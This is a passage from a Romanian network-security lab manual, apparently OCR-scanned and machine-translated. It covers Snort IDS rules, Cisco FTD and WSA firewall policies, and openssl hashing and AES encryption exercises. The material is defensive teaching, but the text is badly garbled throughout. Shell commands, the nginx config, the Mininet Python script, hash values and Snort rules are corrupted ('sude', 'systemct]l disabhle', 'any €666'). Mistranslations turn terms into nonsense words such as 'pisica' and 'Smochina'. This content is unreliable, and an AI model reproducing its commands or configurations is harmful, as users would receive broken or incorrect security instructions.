In continuare, vom instala sistemul de detectare /prevenire a intruziunilor Snort (IDS) si, de asemenea,
nginx in scopuri de testare [53][54].
sude apt-get install snort
sude apt-get install nginx
systemct]l disabhle snort
IDS-ul Snort poate fi rulat in trei moduri: (1) pasiv - unde datele sunt trimise la senzor pentru analiza
offline st nu are niciun impact asupra traficului in timp real, (2) inline/active - unde traficul este
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analizat in timp real si orice decizie il afecteaza direct (de exemplu, pachetul poate fi abandonat daca
este considerat malware), (3) test in linie - similar cu modul inline, dar efectul este inregistrat numai,
nu se aplici in trafic.
Dupa cum putem vedea in topologia de mai sus, R1 este un loc de router intre cei doi oaspeti, H1 si
H2, de unde orice trafic intre cei doi a trecut prin el. Putem folosi acest scenariu si sa cerem sforditului
sd investigheze pasiv traficul. Pranz snort cu urmatoarele argumente pe R1, care va rula procesul ids
folosind numele de utilizator snort / grup g1 va afisa numai informatit limitate pentru o prelucrare mai
rapida.

Rl#snort -A fast -b -p -v —-u snort -g snert —-c

feta/snort/esnort.conf -k none -i Rl-ethO

Puteti testa configuratia trimitand pachete ICMP de la H1 la H2. Retineti ca, in mod implicit, datele
snort sunt inregistrate in fisierul ~var/log/snort/alert , utilizati coada -f pentru a vizualiza informatiile
salvate in timp real. Ar putea fi necesar sa deschideti o a doua conexiune la R1 daci snort nu a fost
rulat ¢a un demon.
H1# ping 209.165.201.11

R1# tail -f /var/log/snort/alert
OEpaa=16: 0Gr0k. 973728 [**] [1:408:5
[Classificatien: Misec activity] [Priorit
=23 1999068000

Acum, putem incepe si adaugim reguli personalizate la figierul pisica ‘efc/snort/rules/local rules . O
repornire a IDS snort ar putea f1 necesard pentru ca noile reguli si fie incdrcate.

Vom simula o descarcare a unui figier rau intentionat de pe un server web. Pe H2, pornim serverul
ngnix cu urmitorul fisier de configurare. Acest lucru va face ca serviciul sd asculte pe portul 6666 si
sd livreze orice figier disponibil in directorul /sy share/nginx/html/server . Creati un fisier index. himi
in scopuri demo.

H2# cat ngink server.coWf

worker processes 1;

ICMP Echo Reply [**]

31 {ICMP} 209.165.201.11

events |
worker connections 1024;

http {
include mime.types;
default type application/octet-stream;
sendfile OT;
keepalive timeout 65;
types hash max size 4096;
server names hash bucket size 128;

server |
listen 6666;
gerver name localhost;
location /7 {
root /usr/share/nginx/html/server;
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index i1ndex.html index.htm;

}
error page 500 502 503 504 /50x.html;

location = /50x.html {
root /usr/share/nginx/html;
|

!

Dupa ce serviciul a fost pornit din linia de comanda, asigurafi-vd cd ruleaza si ¢ poate primi
conexiuni de la H1 (de exemplu, utilizati curl/wget pentru a descirca figierul creat anterior).

HZ# sat mal gerver stark, sh

#!/bin/sh

nginx -c mal server.conf -g "pid /var/run/nginx v.pid;"

Fard a intra in multe detalii, regulile snort sunt compuse din doud componente: Snort Header si Snort
Options. Antetul identificd actiunea care trebuie intreprinsd, cum aratd antetul pachetului (inclusiv
adresa IP de destinatie s1 sursa si protocolul de destinatie g1 sortare - ICMP, TCP, UDP etc.) si directia
de trafic; in timp ce partea Optiuni este utilizata pentru a detalia datele incluse in pachet si ce ar trebui
sd fie inregistrat in cazul in care regula se potriveste cu un anumit trafic.

Actiunile regulilor Snort 11 permit si gestioneze corect traficul de retea pe care il potriveste. Atunci
cand ruleaza in modul pasiv, se poate alerta numai (notificare si jurnal pachet), jurnal sau trece
traficul. Atuneci cand este utilizat in modul inline, Snort poate, de asemenea, sd scada (sd blocheze s1
84 se conecteze), sa respingi (sa blocheze, sa inregistreze si si reseteze conexiunea - TCP sau ICMP)
[56].

De exemplu, urmatoarele reguli afirma ci orice trafic de tip TCP g1 portul de destinatie 6666 va fi
compensata si o alertd de jurnal cu mesajul de mai jos a crea. Sid este identificatorul de regula si ar
trebui si fie peste 1000000. Incercati si generati trafic care se potriveste cu regula si vedeti daci se
creeaza vreo intrare de jurnal.

alert tcp any any <> any €666 [(msg: "Go go TCP"; sid:1000003; )

In continuare, vom incerca si folosim aceeasi reguld, dar cu Snort in modul inline si scizand traficul
ICMP. In primul rand, schimbafi actiunea regulii in consecinti. Apoi, puteti utiliza urmatoarea
configuratie mininet pentru a configura snort in modul inline. Singurul diferit de cele de mai sus este
cd adresele [P ale H1 s1 H2 sunt acum din aceeasi subretea.

student# caifSdch tope inline.py

#! /usr/bin/pythonz .7

from mininet.net import Mininet

from mininet.node import CPULimitedHost, Host, Node
frem mininet.cli impeort CLI

from mininet.log import setlLoglevel, info

from mininet.link import TCLink, Intt

from subprocess import call

def myNetwork():
net = Mininet({ topo=Nane,
build=False,
ipRase="10.0.0.0/8")
info( '*** Add routerin')

wEE . s

UMILNEA NATIONALA A ?N[

PATHONATULUT ROMAN
REGIHINEA NOHD-EST

EuroTraining Solution

Pagina nr.: 76



-

<

Instrumente Structurale
2014-2020

w x
* 4 K

UNIUNEA EUROPEANA

R1 = net.addHost['R1'", cla=Nodes)
Rl.cmd('sysctl —-w net.ipvd.ip forward=1"')

infof '*** Add hosts\n')
H1 net.addHost ("H1', c¢ls=Host, ip='192.168.0.1/24")
HZ net.addHost ("HZ2', cls=Host, 1ip='192.168.0.2/24")

info( "** Add linksyn'®)
net.addbLink{ H1, R1l, intfNameZ='Rl-ethO' )
net.addLink{ HZ, R1l, intfNameZ='Rl-ethl' )

info({ '*** Starting network\n'})
net.build(}

CLI {net)
net.stop()

if name == ' main ':
_getLogfevel(_TinfoT_)
myNetwork ()
Dupa pornirea topologiei anterioare, incercati sd va conectati de 1a un dispozitiv la altul. Conexiunea
nu ar trebuwi si aibd succes, deoarece dispozitivul R1 actioneaza in prezent ca un router, $i nu ca un
comutator. Cand Snort opereazi in modul inline, este nevoie de doud interfete de retea pe care le va
punte si interconecta similar cu un comutator.
Incepand cu versiunea 2.9 Snort a trecut la utilizarea bibliotecilor externe pentru functionalitatea reali
a retelei. De exemplu, pentru a adulmeca traficul in modul pasiv, Snort utilizeaza biblioteca pcap
(utilizata si de tepdump), in timp ce pentru ca modul mline sa functioneze, Snort utilizeaza biblioteca
afpacket care permite, de asemenea, conectarea interfetelor de retea [35].
Dupai lansarea urmdatoarei comenzi ar trebui sa testim conectivitatea dintre H1 g1 H2.
Rl#gnort --dag.afpacket -A fast -b -p -v -u gnort -g snort -c
/etc/snort/snort.conf -k none -Q -1 Rl-ethU:Rl-ethl
Retineti cd este posibil ca conexiunea TCP dintre cele doud gazde si nu functioneze din cauza unei
probleme cu descircarea sumei de control la interfata de retea virtuald. Dacd emitem urmitoarea
comandi pe ambele gazde (schimbind numele interfefei in consecintd), ar trebui si putem crea o
conexiune TCP simpla cu neteat.
Hl#ethtool —-offlcad Hl-ethD rx off tx off
H2#ethtogl --offlocad H2-ethO rx off tx off
H2#ne -1 6666
Hli#nhc 192.168.0.2 6666
Apoi, va permite sé incercati si sd faca uz de pozitionare in linie de Snort si nega traficul live. Regula
de mai jos blocheaza orice trafic icmp care trece prin dispozitiv.
drop lcmp any any <> any any (msg: "Bye bye Ms. ICME"; s51id:1000004;)

N, T "‘”ER(())LOG (Tg
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4.4 Securitate folosind firewall dedicat

In acest laborator vom configura solutia dedicata Cisco Firepower Threat Defense (FTD). Pentru a
configura aparatul virtual FTD puteti accesa site-ul web (si confirmafi utilizarea certificatului nevalid)
utilizand acreditarile "admin” / "Admin123".

Ubuntu-1

Ich

witch-2
FMCw-1
per =0
q"
(YY) 5

Fig. 4.3 Topologia managementului local FTDv
Aparatul virtual a fost configurat ci prima interfati de retea, care corespunde portului de gestionare,
este conectatd cu reteaua locald sau adaptorul local si va obtine o adresd IP prin DHCP. Pentru a afla
adresa IP utilizatd de aparat, puteti tasta urmatoarea comanda. Retineti cd interfata cu utilizatorul este

accesibild numai prin HTTPS.
> show network

Configuration : DHCP
Address : 192.168.56.102
Netmask : 255,205 255.0
Broadcast : 192.168.56.255

In primul rand, si aruncim o privire la politicile si obiectele existente. Selectati Obiccte si Zone de
securitate pentru a accesa maparea interfeter existente la zone. Pentru a redenumi o interfati, selectati
Rezumat dispozitiv, apoi Interfete si editare. Retineti ¢d configuratia curenta FTDv nostru este
configurat pentru a primi adresa [P din afara prin DHCP. Testati conectivitatea la Internet atét de la
I'TD, cat si de la Ubuntu VM. Ar putea fi necesard o cale de intoarcere de la InternetVM,
root@internet:/# ip r a 192.168.45.0/24 via 172.31.0.194
root@ubuntu: /# ping www.google.ro
PING www.google.ro (2le.52B.207.35) bo(84) bytes of data.
6d bytes from fral6s24-in-£3.1el00.net (216.58.207.35): icmp seg=l
ttl=51 time=60.5 ms
FTDv> ping 8.8.8.8
Type escape seguence to abort.
Sending 5, 100-bvyvte ICMFP Echos to 8.8.8.8B, timeocut is Z seconds:
Succegs rate ig 100 percent (5/5), round-trip min/avg/max =
30/144/270 ms
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FTD procescaza regulile de politica folosind ordinea lor, este important sa le mutati pe cele specifice
in partea de sus a listet s1 sd le ldsati pe cele mai generice in partea de jos. De asemenea, putett
modifica comportamentul implicit de actiune de la blocare 1a acces, dar nu il recomandim. Exista trei
actiuni configurabile disponibile atunci cand credm o politici: (1) Incredere care va permite traficul
s treaca fard inspectii suplimentare de orice fel, (2) Blocati care va scddea traficul si (3) Permiteti
care poate 11 configurat pentru a inspecta in continuare traficul folosind politici de intruziune.
Urmatorul pas este de a crea o politicd de acces care va permite orice trafic numai de la magina Ubuntu
(identificatd prin adresa sa IP) si de a schimba politica existentd pentru a bloca tot traficul de la
interfetele din interior in exterior. Trebuie si eredm un obiect de refea pentru a identifica masma
virtuala, sa selectam Obiecte, apoi Retele si sa addugim unul nou.

Add Network Object

) Natwork (®) rost

CAMCEL QK

Fig. 4.4 Obiect gazdd in FTD
Utilizafi obiectul pentru a crea o noud politicd care are incredere in orice trafic de la UbuntuVM la
Internet. Mutati aceastd politicd in partea de sus a lister de politici. Modificati actiunea pentru ca
cealalta politicd sd se blocheze. Activati inregistrarea in jurnal a traficului pentru ambele politici
(Editati politica, selectati Inregistrarea in jurnal si activati atat pentru inceputul, cét si pentru sfarsitul
conexiunii). Acest lucru va fi afigat in sectiunea Monitorizare atunci ¢and traficul care se potriveste
cu politica este filtrat. Cisco FTD permite, de asemenea, inregistrarea in jurnal la serverele syslog la

distanta. Nu uitati sd implementati configuratia.
Titlu UbuntuVM-in afara
Actiune Trust
Zone sursa inside zone
Retele sursd UbuntuVM
Zone de destinatie outside zone
Retele de destinatie ORICARE

Smochina. Politicd simpla bazata pe gazda
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Cisco FTD permite o pentru a verifica, de asemenca, daca o configuratie permite sau nu de trafic
specifice pentru a trece prin paravanul de protectie. De exemplu, acum putem testa dacd UbuntuVM
poate accesa Internetul prin urmitoarea linie de comandi.
> packet-tracer input inside icmp 19%2.168.45.46 8 0 8.8.8.8
detailed
Phase: 1
Type: ACCESS-LIST
Subtype:
Result: ALLOW
[o.n]
Result:
input-interface: inside
input-status: up
input-line-status: up
cutput-interface: outside
output-status: up
cutput-line-status: up
Action: allow
Daca dorim, putem filtra $1 mai mult ceea ce poate accesa o anumita gazdi / refea. VA permite sd-i
permiteti numai conectivitatea de baza la Internet, adica http(uri) si trafic DNS. Modificati politica
creatd anterior pentru a include numai porturile specifice in fila Destinatie.

DESTINATION
Zones + Metworks Pors/Protocols
g outside_zone é_—} DNS over TCP
€5 DNS aver UDP
& HTTP
gkﬁms

Fig. 4.5 Permiterea numai a traficului DNS si HTTP(¢)
O caracteristica interesantd oferitd de Cisco FTD este amenintarea security intelligence. Utilizeazi o
baza de date actualizabild pentru a bloca anumite amenintiri cunoscute pe care echipa Tallos le
identifica. Pentru a identifica o adresa [P care este marcata ca fiind blocata de echipa Talos, putem
cauta orice IP in refeaua TOR [40]. Pentru acest exemplu am selectat 185.220.101.21. Apoi, verificati
utilizarea site-ului Talos disponibil la https://www talosintelligence.com/reputation _center/lookup.
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BLACKLISTS

EXPIRATION DATE

Fig. 4.6 Talos Threat Intelligence
Dupa cum se aratd in figurd, adresa IP este blocata g1 este marcatd ca malware. Activati Security
Intelligence din meniul Politici si adaugati la lista neagra categoria malware. Verificati dacd magina
Ubuntu poate efectua o solicitare HTTP inainte s1 dupd implementarea politicii.
root@ubuntu:/# curl -L 185.220.101.21
<IDOCTYPE. hitml >
<html lang="en-GB">
[ o]
</html>
ropt@ubiunti: g murl —L 185.220.101.21

De asemenea, putem filtra pe baza accesului la URL. FTD ofera douid mecanisme pentru a face acest
lucru, puteti fic si creati o lista de site-uri web personale pe care dorifi sa le filtrati, fie sa utilizati
categoriile existente. Creati un obiect URL nou pentru a filtra site-ul web "cena.ro” si a crea o noud
politica particularizata care va bloca obiectul. Nu uitati s3 mutati politica nou creati inaintea celei
care are incredere in tot traficul.

2 Ubmnbu¥M- Outsl.. nuds_one (TR subskde_zane DAIE aver IO
5 avei T

Fig. 4.7 Politica FTD Block URL
Dupa implementare, verificati dacd accesul pentru site-ul web ccna.ro este blocat st daci este permis
tot traficul.
root@ubuntus:/# curl -L ccha.ro
<!DOCTYPE html»<html lang="en">[...]</html>
root@ubuntu:/# curl -L ccha.ro
£ ! DOCTY¥PE htmlz
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"
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<titlerlccess Denied</title>

<gtyle type="text/csa">body [margin:0; font-family:verdana,sans—
cserif;} hl {margin:0;padding:1l2px 25px;background-
color:#343434;color: #ddd} p {margin:lZpx 25px;} strong
{color:#E0042D; }</style>

</head>

<body>

<hl>»Access Denied</hl>

<p>

<gtrong>¥You are attempting to access a forbidden
gite.</strong><br/><br/>

Consult vyvour system administrator for details.

</p>

</body>

</html>

Pentru a vedea mai multe detalii despre motivul pentru care conexiunea a fost blocata, puteti rula
depanatorul pe I'TD si apoi incercati sd accesati conexiunea de la UbuntuVM.

> gystem support firewall-engine-debug

Please gpecify an IF protocol:

Please specify a client IP address: 192.168.45.48
Please specify a client port:

Please specify a server IP address:

Please specify a server port:

Monitoring firewall engine debug messages

192.168.45.48-51192 > 141.85.227.53-80 6 AS 1 I O new firewall
session

192.168.45.48-51192 > 141.85.227.53-80 6 A3 1 I 0O Starting with
minimum 1, 'UbuntuvVM-te-CCNA', and SrcZone first with zones Z ->
1, geo 0 ->» 0, vlan 0, dinline &gt tag: untagged, I3E sgt id: 0O,
sve 0, payload 0, client 0, misc 0O, user 92993387, icmpType O,
icmpCode O

192.168.45.48-51192 > 141.85.227.53-80 6 A5 1 I 0 pending rule
order 1, ‘'UbuntuvVM-to-CCHA', URL

192.168.45.48-51192 > 141.85.227.53-80 6 AS 1 I 0 Starting with
minimum 1, 'UbuntuvVM-to-CCNA', and Srcfone first with zones 2 ->
1, geo 0(D} -» 0, vlan 0, inline sgt tag: untagged, ISE sgt id: 0,
sve elo, paylecad 0O, client 5%6, misc 0O, user 8%%%3%57, min url-cat-
list 0=0-0, url http://ccna.ro/, =nff

192.168.45.48-51182 » 141.85.227.53-80 6 RS 1 T 0 custom host
matcher using: ccna.ro

192.168.45.48-51192 > 141.85.227.53-80 6 AS 1 I 0 match rule order
1, '"UbuntuVM-to-CCNA', action Block

192.168.45.48-51192 > 141.85.227_.53-80 6 AS 1 T 0 sending HTTP
block response of 607 bytes

Apoi, daci dorim ca masina Ubuntu si fie direct accesibila din interfata exterioara, trebuie sa cream
0 noud politicad. Creati un obiect de refea nou care identificd numai KaliVM, Mai mult decit atat,
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pentru ca traficul ICMP si fie filtrat, trebuic mai intai sa-1 identificim folosind un obiect port si sa
filtram numai mesajele de solicitare a ecoului ICMP.

Add Port Object

Nams

ICMP-EchoReguest

DeacHigticn

Protocal
N TP
(O uor
® cwe
) IPuE-I G

Cither prokoe

Type

ECHO_REGQUEST -

Code

Fig. 4.8 FTD Port ICMP Echo Cerere

Creati o noud politica utilizind obiectele definite anterior si utilizati-o pentru a permite traficul HTTP
$1 ICMP de la KaliVM la UbuntuVM. Implementati noua configuratie dupa creare.

Titlu KaliVM-UbuntuVM

Actiune Permite

Zone sursi outside zone

Retele sursd KaliVM

Zone de destinatie inside zone

Retele de destinatie UbuntuVM

Porturi/Protocoale ICMP-EchoRequest,
HTTP

Smochina. Politica de inspectie FTD

4.5 Firewall pentru aplicatii

In acest laborator vom folosi Web Security Appliance pentru a filtra traficul HTTP, atit la intrare, cét
s1 la iesire de la 0 masina virtuala Linux s1 0 masina virtualda Windows. Internet VM este configurat
pentru a gazdui un LDAP. Porniti topologia furnizata si asigurati-va ca setdrile proxy HTTP Firefox
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sunt setate sd utilizeze WSA, cu adresa IP de 172.31.0.99 si portul 3128. Testati dacd aveti
conectivitate la Internet (in mod implicit WS A va permite tot traficul).

Ubuntu-1
—
B

InternetVM-1

|

Windows10VHM-1

b,

Fig. 4.9 Topologia WSA
Firewall-urile pot rula pe baza a doua abordari diferite privind filtrarea: lista alba si lista neagra.
Primul necesita fiecare site web care trebuie sa fie accesat pe listd, ceea ce inseamnd ¢, in mod
implicit, totul este interzis, in timp ce a doua abordare va permite toate site-urile web in timp ce
blocarea numai cele enumerate.
In mod implicit, WSA este configurat pentru a permite tot traficul, deci v permite sa modificati
politica implicitd care blocheaza tot traficul. Pentru a face acest lucru, selectati Web Security Manager
-> Politicile de acces gi. in fila Filtrare URL, comutati toate categoriile de la Monitor la Blocare.
Amintiti-va, in scopul de a fi aplicate, orice modificari trebuie sa fie mai intai comise.
WSA poate identifica si‘sau autentifica clienfii care urmeaza s fie filtrati. Pentru autentificare, poate
utiliza atat un server extern LDAP, cit si un domeniu Active Directory. Daca utilizatorul este
autentificat, urmarirea ei se poate face folosind fie adresa ip, un cookie persistent sau pe sesiune. Dacd
nu este autentificat, acesta poate fi identificat pe baza adresei sale IP. Retineti ¢d putefi crea, de
asemenea, un grup de identificare pentru o intreaga retea.

wES . €

LMILNEA NATIDNALA A ?ﬂ{

Pagina nr.: 84

PATRONATULUL ROMAN
REGIUNEA NORD-EST

EuroTraining Solution



-

<

Instrumente Structurals
2014-2020

UNIUNEA EUROPEANA

Client / User Identification Profile Settings

|| Enable Tdentification Prafile

Hame: (7 1 buntuv M
fe. g, iy IT Frofife)

Desieription: | [The dynamic 1P of the UbuntuyvM

Ingert Above: | | 1 {WindowavM)

User Identification Method

Identification and Authenbication: (2 | Far additional optior e fine an Ut
o eralilo ISE (spe Notwork = Identity S,

fion realm (see Metwork > Autfhrentication )
fows Enghine ).

Mornbsarship is definod by any combirsation of e flfowsng aptions. All eriteria must be mot for the policy to teke effect

Define Members by Subnet: “”d L0102 24

{examples; 10.1.1.0, 10.1.1.024, 10.1,1.1- 10, 2001 42050 47w OGN0 - 200 000, )
Define Members by Frotoonl @ | HTTRHTTPS

] mative Fip

b Advanicsd | Define additionsl group memberstip critera

Fig. 4.10 Identificarea IP a utilizatorului WSA pentru clientul nea autentificat
Dupa crearea unui profil de identificare, acesta poate fi utilizat pentru a crea politici de acces cu
acesta. Va rugam sa retinefi cd ordinea in care sunt definite politicile de acces este, de asemenea,
foarte importantd, deoarece WSA le va traversa de sus in jos, 1ar daci profilul se potriveste, va aplica
politicile din cadrul acestuia.
Access Policy: Add Group

Poliey Sottings

<] enable Policy
Tolicy Name ' | fusgndomsvm
{e g my il pelicy)

Descripton: | siricter Policy for Windows VM

Treaal Alwere oy 7 {idobal Pobicy)

Palicy Bember Definition

Hembrrship s drfined by the camhinatton of ihe flfewing aptens AN ctena nnest fe mot fir the policy fe take offec

Identification Profiles and Ussrs:  selact One or More Identiication Proflles -

.Jdenuﬂcarm Profile: .Nmmed Usars and Groups I Al el ilisbion Prasdil

WindowsvM - Ko authenticafion rroimd ]

v Abvancad | pefine additional grous manbensdip aileria

Fig.4.11 Politica de acces WSA pentru profilul personalizat

In ceea ce priveste filtrarea adreselor URL, WSA permite crearea de filtre personalizate sau are o listd
de categorii predefinite pe care le putetr utiliza pentru a manipula accesul la date. O descriere online
a categoriei bazate pe web Cisco poate fi consultati [37]. In scopul testarii, permiteti conexiunile
clientului Windows la categoria Educatie s1 incercati sa utilizati diferite site-uri web.

Pentru a crea propria categorie de filtre URL, selectati Manager de securitate Web, apoi Categorii
URL particularizate si externe, apoi adaugati o categorie noud. Vi recomandam o conventie de
denumire adecvatd pentru categoriile utilizate. WSA permite adiugarea atat a adreselor IP, a site-
urilor web, cit si a filtrelor de expresie regulate pe care le puteti verifica online impotriva denumirii
site-ului web [36]. Adaugati categoria nou creata intr-un profil de acces pentru a o testa.
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Edit Realm

" Fig 4.12 Autentificarea LDAP WSA

Cap. 5 Securitate de la distanta

5.1 Criptografie

Tema acestui capitol este crearea s1 utilizarea certificatelor. Nu vom intra in detaliile unei structur de
certificate g1 a infrastructurii [16]. Cu toate acestea, inainte de introducerea pe scurt a certificatelor ar
trebui sa existe infelegeri de baza ale urmatoarelor primitive criptografice: criptare asimetrica, criptare
simetricd i hashing. Pentru a le infelege mai bine, vom folosi o magind virtuala Ubuntu pentru a o
exemplifica.

Hashing-ul este un mecanism de creare a unui rezumat (numit hash) dintr-o data de intrare. Hash-ul
este creat folosind o functie unidirectionald, care mapeaza datele de intrare de orice lungime la o
iesire de dimensiuni fixe. Teoretic, cu o dimensiune de iesire cu lungime fixa, ar trebui sa existe 2
sau mai multe date de intrare pentru a se potrivi cu acelagi hash de iegire, dar o functie hash este
considerata rezistentd la coliziune daci pentru un anumit hash se pot produce doua date de intrare
pentru acesta. Functiile hash sunt utilizate pentru a valida integritatea datelor, adica, daci datele s-au
modificat, hash-ul se va schimba, de asemenea.

Functiile curente de hash care urmeazi sa fic utilizate sunt din familia SHA-2 si includ diferite forme
de dimensiuni de iesire, de exemplu SHA236 sau SHAS12. Retineti ca atit functiile de hash din
familia MD?3, cat g1 cele sha-1 sunt perimate st nu trebuie utilizate [17][18].

In Ubuntu, putem folosi sha256sum (sau sha512sum) pentru a crea un hash al unui anumit fisier. De
exemplu, puteti descirca si1 caleula functia hash a browserului Firefox.
root@internet:/home/student# wget
http://releases.mozilla.org/pub/firefox/releases/61.0.1/winbd/en—-
US/PFPirefox?203etup’2061.0.1 . .exe

[o.s]

Firefox SBetup 6l.0.1l.exe

=7 27.51M 592KE/s in bhds 1
root@internet:/home/student# sha2bésum Firefox\ Setup\ 61.0.1.exe
eaZ2dcceBBicbh87eb8edd442bb3f150655%cadabekbs53100ct3a7cd84716176a
Firefox Setup 8l.0.1l.sxe

Comparati rezultatele hashing-ului cu cele oficiale publicate pe site-ul oficial:
http://releases.mozilla.org/pub/firefox/releases/61.0. /SHA256SUMS
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Criptarea simetricd este utilizatd pentru a oferi confidenfialitatea datelor gi se bazeaza pe o cheie
(pre)partajata intre cele doud parti implicate. Datele text clare sunt criptate intr-un cifru folosind un
algoritm de criptare simetric. Algoritmul de ultima generatie care trebuie utilizat este AES236, in
timp ce AES128 este, de asemenea, acceptat de unele parti [19], care este un cifru bloc (cripteaza
datele in blocuri de 128 sau 256 de biti). Inlintuirea mai multor blocuri se poate face in diferite
moduri, cum ar fi Electronic Codebook (BCE), Cipher-Block Chaining (CBC), Cipher Feedback
(CFB). Output Feedback (OFB) sau Counter mode (CTR).
Fiecare mod este potrivit pentru o sarcind diferitd, aici este o prezentare generald a modului de
utilizare a acestuia:

e Criptare generala a fisierelor sau pachetelor: CBC.

o Intrarea trebuie s fie ciptusitd la mai multe dimensiuni ale blocului de cifru
e Riscul de stergere a octetului sau a bitilor: CFB
e Flux de biti; linia zgomotoasa si propagarea erorilor nu sunt de dorit: OFB
e Date de foarte mare vitezd: CTR

Openssl este o biblioteca de uz general disponibild in Ubuntu gi poate fi utilizata pentru a testa diferite
mecanisme de criptare. Va recomandam sa il utilizati impotriva datelor pe care le-ati criptat prin
programare, astfel incat sa va puteti valida codul. Acesta oferd mai multe mecanisme pentru criptarea
datelor, o listd de cifru disponibile s1 moduri pot fi obtinute prin urmatoarea comanda.
root@internet:/home/student# openssl list -cipher-commands

ass-128-chc
aee-2hba-chc
bf-chc
camellia-128-chc
192-ech
camellia-2b6-chc
casth-che

des

des-ede

des—ede3

des-ofb
rc2—40-cha
reZ-ech

seed

seed-ofb

ass-128-ech
aes—-2hé6-ech
bf-cfb
camellia-1Z2B8-ech

camellia-2he—ecbh
castbh—-cfh
deg—-cho
des—-ede-cbc
des—-ede3-cho
des3

roZ-6d-cha
reZ2-ofhb

seed-cbe

aes-192-chbc
bhasend

bf-ecbh
camellia-182-chc

cast
casth-ech
des-cfb
des-ede-cfb
des—-ede3-cfb
desx

raoZ2-che

rcd

seed-cfb

ass—-192-ech
b

bf-ofb
camellia-

cast—-cbhc
casth-ofb
des-ech
des-ede-ofb
des-edei-ofb
P

cgg-ath
ra4-40
seed-ech

Pentru a utiliza algoritmi de criptare simetrici, trebuie furnizata o cheie. Dimensiunea cheii depinde
de algoritmul ales s1 ar trebui sa fie un multiplu de 16 biti. Cu toate acestea, utilizarea unei chei de
dimensiune fixa nu este foarte usor de utilizat g1 poate fi greu de retinut, prin urmare, de obicei, se
utilizeaza o fraza de acces cu lungime variabila si se aplicd pentru a deveni cheia. Openssl versiunea
1.1 sau mai recenta utilizeaza in mod implicit SHA256 pentru hashing.

Mai mult decét atat, textul de intrare ar trebui sa fie dat si in multipli de 128/192/256 biti (conform
algoritmului utilizat), dar acest lucru devine foarte impracticabil si schema de umpluturd poate fi
utilizata pentru ao umple. Openssl utilizeaza mecanismul PKCS#35 pentru a permite criptarea oricdrui

text,
INTER / =
1/, vl//? (()) | €[§ )
DAL | OV LoG

REGCIUNEA NORD-EST - - o !
EuroTraining Solution

Pagina nr.: 87



-

<

Instrumente Structurale
2014-2020

UNIUNEA EUROPEANA

Puteti emite urmatoarea comanda pentru a cripta si decripta utilizaind modul AES2356 si CBC. Retineti
cd aict fortdim hash-ul sa fie SHAS12 folosind parametrul "-md" $1 imprimam, de asemenea, IV
(vectorul initial), sarea si cheia generata folosind optiunea "-p". Iesirea este codificarea folosind
BASEG4 doar pentru a face mai ugor pentru copiere / lipire ca text.
root@internet:/home/student# echo "this is a simple text to
encrypt" | copenssl aes-256-cbce -k thisisasupersecretpassword -md
shablZ -p -basetd

galt=CBCODGBOE4EBABTETD
key=26D27C42BRFFACO49477D6448E3D0ZD5EEB01624A19B77B730D857DBSFE469 9K
Bl

iv =17EAFBOB2DVD7047CD0O149D4BEFECHOZB
U2FsdGVkX1l/LwNYOS6h/dWFBRbydMOtKxYi8dJjKbviKgTjoEkr/KbChdfeDhavi
eHsXVBODAgdvrueZ S+Edg==

root@internet:/home/student# echo
"U2FsdGVKXL/LwNYOS6h/dWEFBRbydMOLKxY18dJJKbviKgdjokbkr/KbChd feDhavie
eHeXVEBOO0AgdvrusZS+EdO==" | openssl aes-Z5h6-cbec =k
thisizasupersecretpassword -md shaS5lZ2 -basetd -d
this is a simple text to encrypt
Prezentam in continuare modul in care modul BCE pastreaza aspectele unei imagini. In primul rand,
vd rugam sa descarcafi orice imagine si sa o convertifi in formatul Netpbm [22]. Acest lucru este
necesar pentru a trata o imagine ca figier text g1 pentru a manipula cu ugurintd anteturile sale. Putem
folosi utilitarul software ImageMagick pentru a face acest lucru.
root@internet:/home/student# apt-get install imagemagick
root@internet:/home/student#, convert upb lege.png upb loge.ppm
Urmitorul pas este criptarea imaginii utilizind AES-256-BCE. In acest exemplu nu folosim sarea
pentru criptare, deoarece va modifica structura fisierului (adica, sarea este inclusa la inceputul
fisterulur pentru decriptare).
root@internet:/home/student# openssl aes-256-ech -k
thisisasupersecretpassword -md shablZ -in upb logo.ppm -out
upb logo enc.ppm -nosalt
Daca criptarea are succes, antetul imaginii va fi, de asemenea, criptat, ceea ce face imposibila afisarea
unui software de vizualizare a imaginilor. Copiati antetul (24 de bifi) din imaginea originala utilizand
urmatoarea comanda.
root@internet:/home/student$# dd if=upb logo.ppm
of=upb logo enc.ppm bs=8 count=3 conv=notrunc
Pasul final este optional si implicd conversia imaginii PPM inapoi in formatul PNG original.
Rezultatele pot f1 vazute in imaginea urmitoare.
root@internet:/home/student# convert upb logo enc.ppm
upb logo enc.png
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F1g 5.1 Exemplu de criptare a modului AES-BCE

5.2 Infrastructura certificatelor

In timp ce criptarea simetric este utilizatd in principal pentru confidentialitatea datelor, atat in tranzit,
cat s1 in repaus, algoritmil asimetrici sunt utilizati in cea mai mare parte pentru a oferi autenticitate si
sunt integrati in infrastructura de chei publice de astdzi pe baza certificatelor X509 [23]. Un certificat
contine unele date de validare (ADRESA URL a site-ului web, adresa IP, adresa de e-mail), o cheie
de identificare a proprietarului (cheia publicd a proprietarului datelor) s1 o semnatura data de o entitate
tertél parte (de obicei autoritatea de certificare - CA).
Fiecare sistem de operare si aplicatie poate avea propriul CA de incredere si fiecare certificat care
este validat de acei CA sunt apoi de incredere de citre sistemul de operare sau aplicatie. Fiecare
aplicatie poate avea setdri diferite pentru utilizarea CA, de exemplu, trebuie sa configurati manual
Firefox daca doriti sa addugati un nou certificat [24].
In Ubuntu certificatele implicite sunt instalate in folderul "/usr/share/ca-certificates/mozilla/”. Aveti
posibilitatea si le eliminati sau s adaugati noi CA-uri Tn orice moment, pur si simplu prin copierea
figterulut in acelagi director s1 emiterea urmatoarel comenzi pentru a actualiza baza de date.
root@internet: fhome/student# sudo update-ca-certificate
Pentru a vizualiza certificatele de sistem in Windows, deschideti ferestrele Proprietiti Internet
(comanda Executare inetepl.cpl), selectati fila Continut, apoi faceti clic pe certificate. Daca doriti s
stergeti sau sa dezactivati (optiune mai buni) un certificat radicind, deschideti consola de gestionare
a certificatelor (rulatt comanda Certl.M.msc), faceti clic dreapta pe certificat, selectati Proprietiti s1
activati optiunea "Dezactivati toate scopurile pentru acest certificat”, consultati Figura.
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Fig. 5.2 Autoritafile de certificare de incredere Windows
Pentru a crea un certificat CA, avem nevoie mai intai de o pereche de chei public-privat. Acest lucru
va fi utilizat pentru a identifica infrastructura de certificate nou creatd. Utilitarul openssl ofera
instrumentele necesare pentru a genera o cheie RSA utilizind PKCS #1: RSA Cryptography
